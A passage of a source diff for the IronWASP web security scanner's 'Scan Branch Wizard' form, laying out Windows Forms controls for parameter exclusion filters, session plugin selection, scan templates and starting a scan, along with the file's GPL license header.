System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); - this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; - this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.QueryParametersMinusRB.TabIndex = 58; - this.QueryParametersMinusRB.TabStop = true; - this.QueryParametersMinusRB.Text = "-"; - this.QueryParametersMinusRB.UseVisualStyleBackColor = true; - this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); - // - // groupBox8 - // - this.groupBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox8.Controls.Add(this.BodyParametersFilterCB); - this.groupBox8.Controls.Add(this.BodyParametersPlusTB); - this.groupBox8.Controls.Add(this.BodyParametersMinusTB); - this.groupBox8.Controls.Add(this.BodyParametersPlusRB); - this.groupBox8.Controls.Add(this.BodyParametersMinusRB); - this.groupBox8.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox8.Location = new System.Drawing.Point(10, 125); - this.groupBox8.Margin = new System.Windows.Forms.Padding(0); - this.groupBox8.Name = "groupBox8"; - this.groupBox8.Size = new System.Drawing.Size(800, 52); - this.groupBox8.TabIndex = 93; - this.groupBox8.TabStop = false; - // - // BodyParametersFilterCB - // - this.BodyParametersFilterCB.AutoSize = true; - this.BodyParametersFilterCB.Enabled = false; - this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; - this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); - this.BodyParametersFilterCB.TabIndex = 59; - this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; - this.BodyParametersFilterCB.UseVisualStyleBackColor = true; - this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); - // - // BodyParametersPlusTB - // - this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersPlusTB.Enabled = false; - this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; - this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersPlusTB.TabIndex = 51; - // - // BodyParametersMinusTB - // - this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersMinusTB.Enabled = false; - this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; - this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersMinusTB.TabIndex = 52; - this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; - // - // BodyParametersPlusRB - // - this.BodyParametersPlusRB.AutoSize = true; - this.BodyParametersPlusRB.Enabled = false; - this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; - this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.BodyParametersPlusRB.TabIndex = 57; - this.BodyParametersPlusRB.Text = "+"; - this.BodyParametersPlusRB.UseVisualStyleBackColor = true; - this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); - // - // BodyParametersMinusRB - // - this.BodyParametersMinusRB.AutoSize = true; - this.BodyParametersMinusRB.Checked = true; - this.BodyParametersMinusRB.Enabled = false; - this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; - this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.BodyParametersMinusRB.TabIndex = 58; - this.BodyParametersMinusRB.TabStop = true; - this.BodyParametersMinusRB.Text = "-"; - this.BodyParametersMinusRB.UseVisualStyleBackColor = true; - this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); - // - // groupBox9 - // - this.groupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox9.Controls.Add(this.CookieParametersFilterCB); - this.groupBox9.Controls.Add(this.CookieParametersPlusTB); - this.groupBox9.Controls.Add(this.CookieParametersMinusTB); - this.groupBox9.Controls.Add(this.CookieParametersPlusRB); - this.groupBox9.Controls.Add(this.CookieParametersMinusRB); - this.groupBox9.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox9.Location = new System.Drawing.Point(10, 184); - this.groupBox9.Margin = new System.Windows.Forms.Padding(0); - this.groupBox9.Name = "groupBox9"; - this.groupBox9.Size = new System.Drawing.Size(800, 52); - this.groupBox9.TabIndex = 94; - this.groupBox9.TabStop = false; - // - // CookieParametersFilterCB - // - this.CookieParametersFilterCB.AutoSize = true; - this.CookieParametersFilterCB.Enabled = false; - this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; - this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); - this.CookieParametersFilterCB.TabIndex = 59; - this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; - this.CookieParametersFilterCB.UseVisualStyleBackColor = true; - this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); - // - // CookieParametersPlusTB - // - this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersPlusTB.Enabled = false; - this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; - this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersPlusTB.TabIndex = 51; - // - // CookieParametersMinusTB - // - this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersMinusTB.Enabled = false; - this.CookieParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; - this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersMinusTB.TabIndex = 52; - this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; - // - // CookieParametersPlusRB - // - this.CookieParametersPlusRB.AutoSize = true; - this.CookieParametersPlusRB.Enabled = false; - this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; - this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.CookieParametersPlusRB.TabIndex = 57; - this.CookieParametersPlusRB.Text = "+"; - this.CookieParametersPlusRB.UseVisualStyleBackColor = true; - this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); - // - // CookieParametersMinusRB - // - this.CookieParametersMinusRB.AutoSize = true; - this.CookieParametersMinusRB.Checked = true; - this.CookieParametersMinusRB.Enabled = false; - this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; - this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.CookieParametersMinusRB.TabIndex = 58; - this.CookieParametersMinusRB.TabStop = true; - this.CookieParametersMinusRB.Text = "-"; - this.CookieParametersMinusRB.UseVisualStyleBackColor = true; - this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); - // - // Three - // - this.Three.Controls.Add(this.ScanBranchSessionPluginsCombo); - this.Three.Controls.Add(this.ScanThreadLimitCB); - this.Three.Controls.Add(this.textBox4); - this.Three.Controls.Add(this.FormatGrid); - this.Three.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); - this.Three.Controls.Add(this.Step3StatusTB); - this.Three.Controls.Add(this.StepThreePreviousBtn); - this.Three.Controls.Add(this.StepThreeNextBtn); - this.Three.Controls.Add(this.RefreshSessListLL); - this.Three.Controls.Add(this.textBox1); - this.Three.Controls.Add(this.label5); - this.Three.Location = new System.Drawing.Point(4, 25); - this.Three.Name = "Three"; - this.Three.Size = new System.Drawing.Size(826, 332); - this.Three.TabIndex = 6; - this.Three.Text = " Customization "; - this.Three.UseVisualStyleBackColor = true; - // - // ScanBranchSessionPluginsCombo - // - this.ScanBranchSessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanBranchSessionPluginsCombo.FormattingEnabled = true; - this.ScanBranchSessionPluginsCombo.Location = new System.Drawing.Point(380, 90); - this.ScanBranchSessionPluginsCombo.Name = "ScanBranchSessionPluginsCombo"; - this.ScanBranchSessionPluginsCombo.Size = new System.Drawing.Size(296, 21); - this.ScanBranchSessionPluginsCombo.TabIndex = 161; - // - // ScanThreadLimitCB - // - this.ScanThreadLimitCB.AutoSize = true; - this.ScanThreadLimitCB.Checked = true; - this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanThreadLimitCB.Location = new System.Drawing.Point(11, 120); - this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; - this.ScanThreadLimitCB.Size = new System.Drawing.Size(489, 17); - this.ScanThreadLimitCB.TabIndex = 160; - this.ScanThreadLimitCB.Text = "When a Session Plugin is selected, automatically set the Scan thread limit to one" + - ". (Recommended)"; - this.ScanThreadLimitCB.UseVisualStyleBackColor = true; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(8, 182); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(570, 89); - this.textBox4.TabIndex = 159; - this.textBox4.Text = resources.GetString("textBox4.Text"); - // - // FormatGrid - // - this.FormatGrid.AllowUserToAddRows = false; - this.FormatGrid.AllowUserToDeleteRows = false; - this.FormatGrid.AllowUserToResizeRows = false; - this.FormatGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatGrid.ColumnHeadersVisible = false; - this.FormatGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn2, - this.dataGridViewTextBoxColumn2}); - this.FormatGrid.GridColor = System.Drawing.Color.White; - this.FormatGrid.Location = new System.Drawing.Point(591, 161); - this.FormatGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatGrid.Name = "FormatGrid"; - this.FormatGrid.ReadOnly = true; - this.FormatGrid.RowHeadersVisible = false; - this.FormatGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatGrid.Size = new System.Drawing.Size(227, 126); - this.FormatGrid.TabIndex = 157; - this.FormatGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatGrid_CellClick); - // - // dataGridViewCheckBoxColumn2 - // - this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn2.HeaderText = ""; - this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; - this.dataGridViewCheckBoxColumn2.ReadOnly = true; - this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn2.Width = 20; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn2.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - this.dataGridViewTextBoxColumn2.ReadOnly = true; - this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // LaunchSessionPluginCreationAssistantLL - // - this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; - this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(10, 54); - this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; - this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); - this.LaunchSessionPluginCreationAssistantLL.TabIndex = 156; - this.LaunchSessionPluginCreationAssistantLL.TabStop = true; - this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; - this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); - // - // Step3StatusTB - // - this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step3StatusTB.BackColor = System.Drawing.Color.White; - this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step3StatusTB.Location = new System.Drawing.Point(130, 302); - this.Step3StatusTB.Multiline = true; - this.Step3StatusTB.Name = "Step3StatusTB"; - this.Step3StatusTB.Size = new System.Drawing.Size(577, 23); - this.Step3StatusTB.TabIndex = 155; - this.Step3StatusTB.TabStop = false; - this.Step3StatusTB.Visible = false; - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(7, 302); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 154; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 302); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 153; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // RefreshSessListLL - // - this.RefreshSessListLL.AutoSize = true; - this.RefreshSessListLL.Location = new System.Drawing.Point(682, 94); - this.RefreshSessListLL.Name = "RefreshSessListLL"; - this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); - this.RefreshSessListLL.TabIndex = 152; - this.RefreshSessListLL.TabStop = true; - this.RefreshSessListLL.Text = "Refresh Session Plugins List"; - this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); - // - // textBox1 - // - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(11, 7); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(798, 48); - this.textBox1.TabIndex = 151; - this.textBox1.TabStop = false; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(10, 94); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(367, 13); - this.label5.TabIndex = 7; - this.label5.Text = "If you want to use a Session Plugin for the scan then select one from this list:"; - // - // Four - // - this.Four.Controls.Add(this.PromptUserCB); - this.Four.Controls.Add(this.ScanBranchErrorTB); - this.Four.Controls.Add(this.label27); - this.Four.Controls.Add(this.ScanBranchStatsPanel); - this.Four.Controls.Add(this.label28); - this.Four.Controls.Add(this.textBox3); - this.Four.Controls.Add(this.SaveTemplateLL); - this.Four.Controls.Add(this.label29); - this.Four.Controls.Add(this.StepFourPreviousBtn); - this.Four.Controls.Add(this.FinalBtn); - this.Four.Location = new System.Drawing.Point(4, 25); - this.Four.Name = "Four"; - this.Four.Size = new System.Drawing.Size(826, 332); - this.Four.TabIndex = 3; - this.Four.Text = " Done "; - this.Four.UseVisualStyleBackColor = true; - // - // PromptUserCB - // - this.PromptUserCB.AutoSize = true; - this.PromptUserCB.Checked = true; - this.PromptUserCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.PromptUserCB.Location = new System.Drawing.Point(17, 61); - this.PromptUserCB.Name = "PromptUserCB"; - this.PromptUserCB.Size = new System.Drawing.Size(223, 17); - this.PromptUserCB.TabIndex = 153; - this.PromptUserCB.Text = "Prompt me for Assistance during the Scan"; - this.PromptUserCB.UseVisualStyleBackColor = true; - // - // label27 - // - this.label27.AutoSize = true; - this.label27.Location = new System.Drawing.Point(14, 38); - this.label27.Name = "label27"; - this.label27.Size = new System.Drawing.Size(535, 13); - this.label27.TabIndex = 152; - this.label27.Text = "You can opt to be prompted for assistance by IronWASP and your input ensure optim" + - "al coverage and efficiency."; - // - // label28 - // - this.label28.AutoSize = true; - this.label28.Location = new System.Drawing.Point(14, 21); - this.label28.Name = "label28"; - this.label28.Size = new System.Drawing.Size(615, 13); - this.label28.TabIndex = 151; - this.label28.Text = "If there are requests in the logs that look similar then IronWASP will try to aut" + - "omatically avoid duplicates but can help this process."; - // - // textBox3 - // - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(14, 96); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(801, 25); - this.textBox3.TabIndex = 150; - this.textBox3.Text = "You can now start this scan. All scan jobs created would be available under the \'" + - "Automated Scanning\' section. You can stop or restart any of the scans from there" + - ".\r\n"; - // - // SaveTemplateLL - // - this.SaveTemplateLL.AutoSize = true; - this.SaveTemplateLL.Location = new System.Drawing.Point(576, 124); - this.SaveTemplateLL.Name = "SaveTemplateLL"; - this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); - this.SaveTemplateLL.TabIndex = 149; - this.SaveTemplateLL.TabStop = true; - this.SaveTemplateLL.Text = "Save Scan Template"; - this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); - // - // label29 - // - this.label29.AutoSize = true; - this.label29.Location = new System.Drawing.Point(14, 124); - this.label29.Name = "label29"; - this.label29.Size = new System.Drawing.Size(556, 13); - this.label29.TabIndex = 148; - this.label29.Text = "If you wish to save to the generic settings you entered so far then you can save " + - "it to a scan template file and reuse it."; - // - // StepFourPreviousBtn - // - this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); - this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; - this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepFourPreviousBtn.TabIndex = 147; - this.StepFourPreviousBtn.Text = "<-Previous Step"; - this.StepFourPreviousBtn.UseVisualStyleBackColor = true; - this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(713, 302); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(105, 23); - this.FinalBtn.TabIndex = 146; - this.FinalBtn.Text = "Start Scan"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // OpenTemplateDialog - // - this.OpenTemplateDialog.DefaultExt = "ibst"; - this.OpenTemplateDialog.Filter = "IronWASP Branch Scan Template|*.ibst"; - // - // SaveTemplateDialog - // - this.SaveTemplateDialog.DefaultExt = "ibst"; - this.SaveTemplateDialog.Filter = "IronWASP Branch Scan Template|*.ibst"; - // - // ScanBranchWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.Control; - this.ClientSize = new System.Drawing.Size(834, 361); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(850, 400); - this.MinimumSize = new System.Drawing.Size(850, 400); - this.Name = "ScanBranchWizard"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Scan Branch Wizard"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ScanBranchWizard_FormClosing); - this.Load += new System.EventHandler(this.ScanBranchWizard_Load); - this.ScanBranchStatsPanel.ResumeLayout(false); - this.ScanBranchStatsPanel.PerformLayout(); - this.BaseTabs.ResumeLayout(false); - this.Zero.ResumeLayout(false); - this.Zero.PerformLayout(); - this.One.ResumeLayout(false); - this.One.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); - this.Two.ResumeLayout(false); - this.Two.PerformLayout(); - this.groupBox6.ResumeLayout(false); - this.groupBox6.PerformLayout(); - this.groupBox7.ResumeLayout(false); - this.groupBox7.PerformLayout(); - this.groupBox8.ResumeLayout(false); - this.groupBox8.PerformLayout(); - this.groupBox9.ResumeLayout(false); - this.groupBox9.PerformLayout(); - this.Three.ResumeLayout(false); - this.Three.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).EndInit(); - this.Four.ResumeLayout(false); - this.Four.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - internal System.Windows.Forms.TextBox ScanBranchHostNameTB; - internal System.Windows.Forms.TextBox ScanBranchUrlPatternTB; - internal System.Windows.Forms.Panel ScanBranchStatsPanel; - internal System.Windows.Forms.ProgressBar ScanBranchProgressBar; - internal System.Windows.Forms.Label ScanBranchProgressLbl; - internal System.Windows.Forms.TextBox ScanBranchErrorTB; - private System.Windows.Forms.Label label8; - internal System.Windows.Forms.CheckBox ScanBranchPickProxyLogCB; - internal System.Windows.Forms.CheckBox ScanBranchPickProbeLogCB; - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage Zero; - private System.Windows.Forms.Label ScanTemplateNameLbl; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.LinkLabel LoadTemplateLL; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.Button StepZeroNextBtn; - private System.Windows.Forms.TabPage One; - internal System.Windows.Forms.TextBox Step1StatusTB; - internal System.Windows.Forms.CheckBox ScanAllPluginsCB; - private System.Windows.Forms.Button StepOnePreviousBtn; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.Label label23; - internal System.Windows.Forms.CheckBox InjectNamesCB; - internal System.Windows.Forms.DataGridView ScanPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.Label label24; - internal System.Windows.Forms.CheckBox InjectHeadersCB; - internal System.Windows.Forms.CheckBox InjectCookieCB; - internal System.Windows.Forms.CheckBox InjectBodyCB; - internal System.Windows.Forms.CheckBox InjectQueryCB; - internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; - private System.Windows.Forms.TabPage Two; - internal System.Windows.Forms.TextBox Step2StatusTB; - private System.Windows.Forms.Label label25; - private System.Windows.Forms.Label label26; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.GroupBox groupBox6; - internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; - internal System.Windows.Forms.TextBox HeadersParametersPlusTB; - internal System.Windows.Forms.TextBox HeadersParametersMinusTB; - internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; - internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox7; - internal System.Windows.Forms.CheckBox QueryParametersFilterCB; - internal System.Windows.Forms.TextBox QueryParametersPlusTB; - internal System.Windows.Forms.TextBox QueryParametersMinusTB; - internal System.Windows.Forms.RadioButton QueryParametersPlusRB; - internal System.Windows.Forms.RadioButton QueryParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox8; - internal System.Windows.Forms.CheckBox BodyParametersFilterCB; - internal System.Windows.Forms.TextBox BodyParametersPlusTB; - internal System.Windows.Forms.TextBox BodyParametersMinusTB; - internal System.Windows.Forms.RadioButton BodyParametersPlusRB; - internal System.Windows.Forms.RadioButton BodyParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox9; - internal System.Windows.Forms.CheckBox CookieParametersFilterCB; - internal System.Windows.Forms.TextBox CookieParametersPlusTB; - internal System.Windows.Forms.TextBox CookieParametersMinusTB; - internal System.Windows.Forms.RadioButton CookieParametersPlusRB; - internal System.Windows.Forms.RadioButton CookieParametersMinusRB; - private System.Windows.Forms.TabPage Four; - internal System.Windows.Forms.CheckBox PromptUserCB; - private System.Windows.Forms.Label label27; - private System.Windows.Forms.Label label28; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.LinkLabel SaveTemplateLL; - private System.Windows.Forms.Label label29; - private System.Windows.Forms.Button StepFourPreviousBtn; - private System.Windows.Forms.TabPage Three; - private System.Windows.Forms.LinkLabel RefreshSessListLL; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; - internal System.Windows.Forms.TextBox Step3StatusTB; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.TextBox textBox4; - internal System.Windows.Forms.DataGridView FormatGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.CheckBox ScanThreadLimitCB; - internal System.Windows.Forms.ComboBox ScanBranchSessionPluginsCombo; - private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; - private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; - internal System.Windows.Forms.Button FinalBtn; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ScanBranchWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form 